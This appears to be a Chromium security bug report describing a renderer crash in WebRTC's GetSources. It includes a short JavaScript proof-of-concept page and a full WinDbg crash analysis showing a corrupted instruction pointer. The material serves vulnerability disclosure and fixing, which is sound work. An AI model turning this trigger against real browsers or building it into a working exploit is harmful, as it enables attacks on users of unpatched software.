VULNERABILITY DETAILS
	Steps to reproduce:
	
	1.Open PoC GetSources_PoC.html in Chrome browser.
	2.Chrome crashes by executing invalid address pointed to by corrupted EIP from WebRtcVoiceMediaChannel::GetSources().

		(51a0.a50): Access violation - code c0000005 (!!! second chance !!!)
		eax=07dcdbb8 ebx=0c0fbc80 ecx=0c0f12c0 edx=5fac4fcc esi=0bbbf584 edi=0c0f1280
		eip=0d94fbf6 esp=0bbbf548 ebp=0bbbf55c iopl=0         ov up ei pl nz ac po nc
		cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a12
		0d94fbf6 ??              ???



VERSION
	Chrome Version: Google Chrome	64.0.3282.14 (Official Build) dev (32-bit) (cohort: Dev) 
	Operating System: Windows 10 

REPRODUCTION CASE  (GetSources_PoC.html)
	<script>
	var context = new AudioContext();
	var streamDestNode  = context.createMediaStreamDestination();
	var rtcConfig = { "iceServers": [{ "urls": "stun:stun2.l.google.com:19302" },  ] };
	var pc = new RTCPeerConnection(rtcConfig);
	setInterval(function(){
	pc.createOffer(function(offer) {pc.setRemoteDescription(offer).then( function(){
	pc.addTrack(streamDestNode.stream.getTracks()[0], streamDestNode.stream);; 
	}).catch(function(e){});}, function(e) {});
	}, 25);
	setInterval(function(){ 	pc.getReceivers()[0].getContributingSources()[0]; }, 88);
	</script>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: tab
Crash State: 

	(51a0.a50): Access violation - code c0000005 (!!! second chance !!!)
	eax=07dcdbb8 ebx=0c0fbc80 ecx=0c0f12c0 edx=5fac4fcc esi=0bbbf584 edi=0c0f1280
	eip=0d94fbf6 esp=0bbbf548 ebp=0bbbf55c iopl=0         ov up ei pl nz ac po nc
	cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010a12
	0d94fbf6 ??              ???
	9:184> !analyze -v
	*******************************************************************************
	*                                                                             *
	*                        Exception Analysis                                   *
	*                                                                             *
	*******************************************************************************

	GetUrlPageData2 (WinHttp) failed: 12002.

	FAULTING_IP: 
	+0
	0d94fbf6 ??              ???

	EXCEPTION_RECORD:  (.exr -1)
	ExceptionAddress: 0d94fbf6
	   ExceptionCode: c0000005 (Access violation)
	  ExceptionFlags: 00000000
	NumberParameters: 2
	   Parameter[0]: 00000008
	   Parameter[1]: 0d94fbf6
	Attempt to execute non-executable address 0d94fbf6

	FAULTING_THREAD:  00000a50

	DEFAULT_BUCKET_ID:  SOFTWARE_NX_FAULT

	PROCESS_NAME:  chrome.exe

	ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

	EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

	EXCEPTION_PARAMETER1:  00000008

	EXCEPTION_PARAMETER2:  0d94fbf6

	WRITE_ADDRESS:  0d94fbf6 

	FOLLOWUP_IP: 
	chrome_child!cricket::WebRtcVoiceMediaChannel::GetSources+26 [C:\b\c\b\win_clang\src\third_party\webrtc\media\engine\webrtcvoiceengine.cc @ 2329]
	124df818 89f0            mov     eax,esi

	FAILED_INSTRUCTION_ADDRESS: 
	+0
	0d94fbf6 ??              ???

	BUGCHECK_STR:  SOFTWARE_NX_FAULT

	NTGLOBALFLAG:  400

	APPLICATION_VERIFIER_FLAGS:  0

	APP:  chrome.exe

	ANALYSIS_VERSION: 10.0.10240.9 x86fre

	IP_ON_HEAP:  0d94fbf6
	The fault address in not in any loaded module, please check your build's rebase
	log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
	contain the address if it were loaded.

	IP_IN_FREE_BLOCK: d94fbf6

	LAST_CONTROL_TRANSFER:  from 124df818 to 0d94fbf6

	STACK_TEXT:  
	WARNING: Frame IP not in any known module. Following frames may be wrong.
	0bbbf544 124df818 0bbbf584 0bbbf584 5fac4fcc 0xd94fbf6
	0bbbf55c 12ada9a3 0bbbf584 5fac4fcc 0babf588 chrome_child!cricket::WebRtcVoiceMediaChannel::GetSources+0x26
	0bbbf574 12ade404 0bbbf584 5fac4fcc 0bbbf59c chrome_child!cricket::VoiceChannel::GetSources_w+0x19
	0bbbf59c 125333fe 0babf4b0 0c10fb28 0c14f2e8 chrome_child!rtc::FunctorMessageHandler<std::vector<webrtc::RtpSource,std::allocator<webrtc::RtpSource> >,rtc::MethodFunctor<const cricket::VoiceChannel,std::vector<webrtc::RtpSource,std::allocator<webrtc::RtpSource> > (cricket::VoiceChannel::*)(unsigned int) __attribute__((thiscall)) const,std::vector<webrtc::RtpSource,std::allocator<webrtc::RtpSource> >,unsigned int> >::OnMessage+0x22
	0bbbf610 125337a9 0babf4b0 0b2d2ee0 0bbbf660 chrome_child!jingle_glue::JingleThreadWrapper::Dispatch+0x38
	0bbbf62c 0fe2e307 0b4a1830 00000000 00000000 chrome_child!jingle_glue::JingleThreadWrapper::ProcessPendingSends+0x65
	0bbbf69c 0fe2e263 12fb0c6c 0bbbf758 0bbbf730 chrome_child!base::debug::TaskAnnotator::RunTask+0x97
	0bbbf6ac 0fe2ddc6 0bbbf758 13630f26 07d63de0 chrome_child!base::internal::IncomingTaskQueue::RunTask+0x13
	0bbbf730 0fe2dbeb 0bbbf758 0fe2c81c 74251e3f chrome_child!base::MessageLoop::RunTask+0x1b6
	0bbbf750 0fe2594e 00000000 12e6bfd9 13630f26 chrome_child!base::MessageLoop::DeferOrRunPendingTask+0x5b
	0bbbf804 0fe25857 07dac2f8 07dac2f0 07d63d74 chrome_child!base::MessageLoop::DoWork+0xde
	0bbbf820 0fe257af 07d63d70 0bbbf864 0bbbf844 chrome_child!base::MessagePumpDefault::Run+0x87
	0bbbf830 0fe255ee 00000001 07dc2e24 0bbbf864 chrome_child!base::MessageLoop::Run+0x1f
	0bbbf844 0fe255bb 0bbbf88c 0fe25433 0bbbf864 chrome_child!base::RunLoop::Run+0x2e
	0bbbf84c 0fe25433 0bbbf864 07d63d70 00000000 chrome_child!base::Thread::Run+0xb
	0bbbf88c 10ed7019 07dc2e24 000004d4 000004d4 chrome_child!base::Thread::ThreadMain+0x153
	0bbbf8b0 75808654 0b395270 75808630 1912b53e chrome_child!base::`anonymous namespace'::ThreadFunc+0xb9
	0bbbf8c4 77584a47 0b395270 1bf8c88f 00000000 KERNEL32!BaseThreadInitThunk+0x24
	0bbbf90c 77584a17 ffffffff 775a9ed4 00000000 ntdll!__RtlUserThreadStart+0x2f
	0bbbf91c 00000000 10ed6f60 0b395270 00000000 ntdll!_RtlUserThreadStart+0x1b


	FAULTING_SOURCE_LINE:  C:\b\c\b\win_clang\src\third_party\webrtc\media\engine\webrtcvoiceengine.cc

	FAULTING_SOURCE_FILE:  C:\b\c\b\win_clang\src\third_party\webrtc\media\engine\webrtcvoiceengine.cc

	FAULTING_SOURCE_LINE_NUMBER:  2329

	FAULTING_SOURCE_CODE:  
	  2325:   RTC_DCHECK(it != recv_streams_.end())
	  2326:       << "Attempting to get contributing sources for SSRC:" << ssrc
	  2327:       << " which doesn't exist.";
	  2328:   return it->second->GetSources();
	> 2329: }
	  2330: 
	  2331: int WebRtcVoiceMediaChannel::GetReceiveChannelId(uint32_t ssrc) const {
	  2332:   RTC_DCHECK(worker_thread_checker_.CalledOnValidThread());
	  2333:   const auto it = recv_streams_.find(ssrc);
	  2334:   if (it != recv_streams_.end()) {


	SYMBOL_STACK_INDEX:  1

	SYMBOL_NAME:  chrome_child!cricket::WebRtcVoiceMediaChannel::GetSources+26

	FOLLOWUP_NAME:  MachineOwner

	MODULE_NAME: chrome_child

	IMAGE_NAME:  chrome_child.dll

	DEBUG_FLR_IMAGE_TIMESTAMP:  5a28be86

	STACK_COMMAND:  ~184s ; kb

	BUCKET_ID:  SOFTWARE_NX_FAULT_BAD_IP_chrome_child!cricket::WebRtcVoiceMediaChannel::GetSources+26

	PRIMARY_PROBLEM_CLASS:  SOFTWARE_NX_FAULT_BAD_IP_chrome_child!cricket::WebRtcVoiceMediaChannel::GetSources+26

	FAILURE_PROBLEM_CLASS:  SOFTWARE_NX_FAULT

	FAILURE_EXCEPTION_CODE:  c0000005

	FAILURE_IMAGE_NAME:  chrome_child.dll

	FAILURE_FUNCTION_NAME:  cricket::WebRtcVoiceMediaChannel::GetSources

	FAILURE_SYMBOL_NAME:  chrome_child.dll!cricket::WebRtcVoiceMediaChannel::GetSources

	FAILURE_BUCKET_ID:  SOFTWARE_NX_FAULT_c0000005_chrome_child.dll!cricket::WebRtcVoiceMediaChannel::GetSources

	ANALYSIS_SOURCE:  UM

	FAILURE_ID_HASH_STRING:  um:software_nx_fault_c0000005_chrome_child.dll!cricket::webrtcvoicemediachannel::getsources

	FAILURE_ID_HASH:  {786de068-5b23-3ebd-de58-22cbd82d7410}

	Followup:     MachineOwner
	---------


 

Deleted: GetSources_PoC.html 557 bytes

GetSources_PoC.html 557 bytes View Download